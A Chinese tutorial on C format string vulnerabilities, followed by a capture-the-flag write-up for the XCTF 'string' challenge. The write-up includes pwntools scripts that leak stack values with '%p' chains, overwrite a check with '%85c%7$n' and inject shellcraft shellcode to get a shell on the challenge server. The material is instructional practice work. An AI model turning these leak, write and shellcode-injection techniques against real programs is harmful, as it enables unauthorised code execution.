文章目录
漏洞介绍
格式化字符串(英语:format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。例如C、C++等程序设计语言的printf
类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。
通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
格式化字符串函数
格式化字符串
后续参数,可选
函数原型:
int printf (“格式化字符串”,参量… )
函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。
参量表中参数的个数是不定的。
常见的有格式化字符串函数有:
输入函数:scanf()
输出函数:
函数 | 基本介绍 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
err, verr, warn, vwarn 等 | … |
格式化字符串的格式
%[parameter][flags][field width][.precision][length]type
parameter
Parameter可以忽略或者是:
n$
,n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。
如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。
例如:printf("%2$d %2$#x; %1$d %1$#x",16,17)
产生"17 0x11; 16 0x10"
flag
Flags可为0个或多个:
field width
输出的最小宽度precision
输出的最大长度
对于d、i、u、x、o的整型数值,是指最小数字位数,不足的位要在左侧补0,如果超过也不截断,缺省值为1。对于a,A,e,E,f,F的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入或补0。
length
,指出浮点型参数或整型参数的长度,
需要注意:
hh,输出一个字节
h,输出一个双字节
type
d/i
,有符号整数u
,无符号整数x/X
,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。o
,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。s
,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。c
,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。p
, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。n
,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。%
, '%'字面值,不接受任何 flags, width。
漏洞原理及利用
格式化字符串函数是根据格式化字符串来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说%s
表明我们会输出一个字符串参数。
我们在此举一个例子:
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下;
(这里我们假设 3.14 上面的值为某个未知的值。)
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况:
当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子:
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
1.解析其地址对应的字符串
2.解析其内容对应的整形值
3.解析其内容对应的浮点值
其中,如果1处地址是一个不可访问的地址,就会导致程序崩溃。
比如我们输入若干个
%s
就会导致程序崩溃,因为栈上不可能每个值都对应合法的地址。
%s%s%s%s%s%s%s%s%s%s%s%s%s%s
我们还可以利用格式化字符串漏洞来获取我们想要知道的内容:
比如:
泄露栈内存
获取某个变量的值
获取某个变量对应地址的内存
泄露任意地址内存
利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
盲打,dump 整个程序,获取有用信息。
利用参考博客:
https://blog.csdn.net/qq_43394612/article/details/84900668
https://zhuanlan.zhihu.com/p/147542190
例题
本处例题为攻防世界题目string
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5056&page=1
检查文件保护机制:
IDA找主函数:
进入sub_400D72,
在sub_400BB9中发现格式化字符串漏洞:
在sub_400CA6函数中,我们发现了第17行代码是将v1转为一个可执行的函数。我们可以利用这里。
本题没有出现system函数,所以要在此处写个shellcode.
要运行至此处,要先满足 if ( *a1 == a1[1] )
a1是前面的v4传入函数的形参,就是个地址。
a[0]=v4[0]=v3[0]=68 , a[1]=v4[1]=v3[1]=85 。我们要将a[0]和a[1]修改为相同的值。
可以通过前面提到的格式化字符串漏洞来修改。
函数sub_400BB9()
内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过 %?$n
向v2指向的地址处写入字符串长度。
我们首先来查看sub_400BB9()
栈内情况,sub_400BB9
函数在漏洞处要求我们输入wish并打印出来。
from pwn import *
re = remote('111.200.241.244',62322)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
re.recvuntil('secret[0] is ')
v4_addr = int(re.recvuntil('\n')[:-1], 16)
re.sendlineafter("What should your character's name be:", 'cxk')
re.sendlineafter("So, where you will go?east or up?:", 'east')
re.sendlineafter("go into there(1), or leave(0)?:",'1')
re.sendlineafter("'Give me an address'", str(int(v4_addr)))
re.sendlineafter("And, you wish is:", 'AAAA'+'-%p'*10)
re.recvuntil('I hear it')
我们观察返回来的数据:
AAAA-0x7f3cf04206a3-0x7f3cf0421780-0x7f3cf01522c0-0x7f3cf0648700-0x7f3cf0648700-0x100000022-0x22ea010-0x2d70252d41414141-0x70252d70252d7025-0x252d70252d70252dI hear it, I hear it…\n’
0x22ea010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位。v2是栈内第7个参数。
所以wish就写成%85c%7$n
意思是是将85写入栈内第7个参数所指向的地址。
from pwn import *
re = remote("111.200.241.244","62322")
context(arch = 'amd64', os = 'linux' , log_level = 'debug')
re.recvuntil('secret[0] is ')
v4_addr = int(re.recvuntil('\n')[:-1], 16)
re.sendlineafter("What should your character's name be:", 'cxk')
re.sendlineafter("So, where you will go?east or up?:", 'east')
re.sendlineafter("go into there(1), or leave(0)?:", '1')
re.sendlineafter("'Give me an address'", str(int(v4_addr)))
re.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
re.sendlineafter("USE YOU SPELL", shellcode)
re.interactive()
获得执行system(“/bin/sh”)汇编代码所对应的机器码: asm(shellcraft.sh())
。注意要指明arch和os。
代码的第二段从printf("secret[0] is %x\n", v4, a2);
输出的字符串中,提取v4的地址,注意把末尾的 \n 剔除。
然后代码的第四段Give me an address
,注意源代码中 _isoc99_scanf("%ld", &v2);
,读入的不是字符串,是int64,是个数字。
我们的整体思路是:
通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。
运行脚本得到结果: